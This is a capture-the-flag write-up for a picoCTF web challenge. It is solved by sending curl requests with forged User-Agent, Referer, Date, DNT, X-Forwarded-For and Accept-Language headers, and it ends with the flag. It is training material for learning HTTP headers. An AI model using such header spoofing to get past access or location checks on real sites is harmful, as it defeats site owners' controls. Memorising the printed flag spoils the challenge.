Problem: Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:36622/
Solution:
https://everything.curl.dev/http/requests
Using https://reqbin.com/req/c-ea0d5rlb/curl-add-header
Going to the page it tell you, you need to use the PicoBrowser.
curl -A "PicoBrowser" http://mercury.picoctf.net:36622/
After setting the user agent to PicoBrowser is says “I don’t trust users visiting from another site.”
curl -A "PicoBrowser" -H "Referer: http://mercury.picoctf.net:36622/" http://mercury.picoctf.net:36622/
“Sorry, this site only worked in 2018.”
curl http://mercury.picoctf.net:36622/
-H "user-agent: PicoBrowser"
-H "Referer: http://mercury.picoctf.net:36622/"
-H "Date: Sun, 18 Mar 2018"
“I don’t trust users who can be tracked.”
curl http://mercury.picoctf.net:36622/
-H "user-agent: PicoBrowser"
-H "Referer: http://mercury.picoctf.net:36622/"
-H "Date: Sun, 18 Mar 2018"
-H "DNT: 1"
“This website is only for people from Sweden”
curl http://mercury.picoctf.net:36622/
-H "user-agent: PicoBrowser"
-H "Referer: http://mercury.picoctf.net:36622/"
-H "Date: Sun, 18 Mar 2018"
-H "DNT: 1"
-H "X-Forwarded-For: 2.16.69.255"
“You’re in Sweden but you don’t speak Swedish?”
curl http://mercury.picoctf.net:36622/
-H "user-agent: PicoBrowser"
-H "Referer: http://mercury.picoctf.net:36622/"
-H "Date: Sun, 18 Mar 2018"
-H "DNT: 1"
-H "X-Forwarded-For: 2.16.69.255"
-H "Accept-Language: SV"
Flag: picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_0da16bb2}